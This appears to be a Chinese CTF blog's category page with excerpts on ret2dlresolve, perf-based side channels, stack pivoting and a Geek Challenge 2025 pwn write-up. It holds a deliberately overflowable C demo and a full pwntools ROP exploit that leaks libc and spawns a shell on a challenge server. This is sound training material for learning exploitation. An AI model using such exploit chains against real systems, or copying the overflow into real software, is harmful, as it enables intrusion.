workspace/categories/CTF/
CTF
- Ret2dlresolve
理论部分
首先最好确认你学习过ELF文件结构相关的内容,当然如果没学过这里也会简单的讲解一些 本文主要讲靠pwntools的Ret2dlresolvePayload工具一把梭所需payload,这比手搓payload轮椅太多了,手搓payload咕到下回了,毕竟国道上的大运只管开就好了,但旁边的小轿车考虑的可就多了
这里来复习一下动态链接和延迟绑定
图片中展示了当我们call一个函数时的大致流程(虽然缺少了部分内容,但是还是很直观的),如果我们首次 call 一个函数,首先是PLT[n]被执行,jmp 到 GOT 表中 对应的条目,但此时该GOT条目里存的还不是该函数的真实地址,而是 该函数 plt表 中下一条指令的地址,然后此时会push reloc_arg,它是在重定位表 .rel.plt 中,用来定位函数相关信息的一个偏移量,接下来跳转到 PLT 的起始部分,通常称为 PLT[0],然后PLT[0] 会先 push 一个 link_map 结构体的地址(通过 GOT[1] 获得),然后 jmp 到 _dl_runtime_resolve 函数(其地址存储在 GOT[2] 中)解析和填充GOT[n]为真实的函数地址,这个过程中我们只需要在可控的内存中伪造_dl_runtime_resolve的参数,也就是link_map 和 reloc_arg
demo
32位 非 Full RELRO
示例demo
#include <stdio.h> #include <unistd.h> static void vuln(void) { char buf[64]; puts("Input:"); read(0, buf, 0x200); } int main(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); vuln(); return 0; }使用以下命令编译
- Perf与简单的侧信道攻击
perf
简介
perf是 Linux 系统性能分析工具集,全称是Performance Event Counters它基于 Linux 内核的 perf_events 子系统,能够提供硬件和软件层面的性能分析能力 我们这里会用到它的一些功能以获取一些硬件事件的信息,因此,你必须确保自己的虚拟机支持PMU功能准备perf
事前准备
首先确定你的设备支持 PMU 功能,如果条件允许,实体机上使用 perf 会方便很多,如果你使用的是 wsl2 作为使用的虚拟机,请在设置中开启
性能计数器,并使用除 ubuntu 以外的系统,因为 wsl2 对内核的魔改会导致一些兼容性问题,我捣鼓了两天也没能完美解决,可以在 wsl2 上选择其他 Linux 进行尝试,或者换用 VMware ,在使用VMware时,请在硬件设置里,添加上虚拟化 CPU 性能计数器,并禁用所有HyperV相关的设置,并关闭虚拟化保护 包括(仅限VMware使用者,wsl2 不要改):- Windows安全中心 -> 设备安全性 -> 内核隔离 -> 内存完整性/本地安全机构保护
- Windows功能 -> Hyper-V/Virtual Machine Platform/Windows虚拟机监控程序平台
perf安装
安装 perf 可以通过
sudo apt-get install linux-tools-generic相关设置
使用权限
等安装完成后并不能直接使用,你需要先查看
cat /proc/sys/kernel/perf_event_paranoid这个
perf_event_paranoid设置了运行时权限相关的内容,建议修改成小于等于1的值sudo sh -c 'echo -1 > /proc/sys/kernel/perf_event_paranoid'CPU核心与内存分配
此时可以尝试一下使用
- 栈迁移 - Pivoting
栈迁移
之前答应某人写一篇文章讲栈迁移,这里附带一些栈相关的知识,尽可能全面的讲述栈和栈迁移,结合例题应用 文章讨论的内容都建立在
x86-64 linux上栈相关寄存器
rsp
- 指向当前栈顶,决定 CPU 从哪里取返回地址与 ROP 数据
rbp
- 指向当前函数栈帧基址,用作稳定的栈内数据定位与栈迁移跳板
栈相关的指令
这里只讲一些需要特别注意的指令,add sub一类明显的就略过了
push
push是一个压栈指令,可以将寄存器立即数或内存中的数据压入栈中,这条指令的具体操作包括
- rsp - 8
- 将指定数据写在rsp指向的内存处 需要注意是先rsp减小,再写入数据,当压入立即数时会先符号扩展至8字节,再压入
pop
pop与push相反,用于弹栈,可以将rsp处的值弹出,他的流程大致为
- 弹出rsp处的值
- rsp + 8 需要注意pop事实上只移动了rsp,原本rsp处弹栈的数据并不会被清理
call
事实上call是一条隐式的push,当我们通过call调用某个地址时,实际做的是
- push rip
- jmp addr 它会将call的下一条指令的地址压,并jmp到刚刚call的地址
ret
和call相反,ret则是一条隐式的pop,当执行ret时
- pop rip
- jmp rip 会将之前call压栈的返回地址pop到rip,并跳转
leave
leave则是栈迁移的一条关键指令,主要作用是销毁栈 执行的时候
- mov rsp, rbp
- pop rbp 会将rsp移动到rbp处,并将当前位置的地址pop到rbp完成对rbp的移动
如何迁移
对于迁移栈,我们的目的是将栈移动到一个更加可控的位置,或利用有限的溢出大小实现更长的ROP链,也可以通过多次栈迁移布置特定的数据结构栈风水等
gadget
对于gadget的选取,一般有两种选择
pop rbp retn leave retn这些gadget可以帮助我们控制rbp进而间接控制rsp
迁移目标位置的选择
可以通过gdb调试寻找一些可读可写的区域
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x400000 0x401000 r--p 1000 0 pwn 0x401000 0x402000 r-xp 1000 1000 pwn 0x402000 0x403000 r--p 1000 2000 pwn 0x403000 0x404000 r--p 1000 2000 pwn 0x404000 0x405000 rw-p 1000 3000 pwn 0x405000 0x426000 rw-p 21000 0 [heap] 0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05] 0x7ffff7fae000 0x7ffff7fb1000 rw-p 3000 0 [anon_7ffff7fae] 0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd] 0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar] 0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso] 0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]以这里为例,
0x404000 0x405000 rw-p 1000 3000 pwn就是一个很不错的选择 - Geek Challenge 2025 WP
这里只收录了我个人的wp,我队友的部分就不放出来了 第一次写,写的烂,就当参考吧,可能有很多地方不严谨或有误 还请各位大佬指教
PWN
old_rop
解题流程
查保护
查伪代码
__int64 __fastcall main(int a1, char **a2, char **a3) { _QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF write(1, "Hello, World\n", 0xDuLL); strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !"); write(1, buf, 0x4DuLL); write(1, "\n", 1uLL); sub_401156(1LL); return 0LL; }ssize_t sub_401156() { _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF return read(0, buf, 0x200uLL); }在sub_401156有一个明显栈溢出,没有后门函数,打libc,得先泄露libc基址,用write打印即可,但此处没有控制rdx的gadget,只能用read的时候rdx的残余值0x200多打印一些,然后正常写rop链即可
exp
from pwn import * # io = process('./pwn') io = remote('geek.ctfplus.cn',32696) libc = ELF("./libc/libc.so.6") elf = ELF("./pwnt") write_got = elf.got['write'] write_plt = elf.plt['write'] pop_rdi = 0x00000000004012d3 ret_addr = 0x000000000040101a read_addr = 0x0000000000401156 pop_rsi_r15 = 0x00000000004012d1 line = io.recvline() print(line) line = io.recvline() print(line) payleak = cyclic(0x88) +p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) +p64(0) + p64(write_plt) +p64(read_addr) io.sendline(payleak) leaked_data = io.recv(0x200) write_addr = u64(leaked_data[0:8]) print(f"Leaked write address: {hex(write_addr)}") libc_base = write_addr - libc.symbols['write'] print(f"Libc base: {hex(libc_base)}") system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.search(b"/bin/sh").__next__() print("system:",hex(system_addr)) print("binsh:",hex(binsh_addr)) payload = cyclic(0x88) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) io.sendline (payload) io.interactive()Mission Calculator
解题流程
这题不用查保护,就是一个单纯的计算题,直接写一个for全算出来发回去就行
Terminal
C0nvR3 Lab terminal ready. Type help for commands.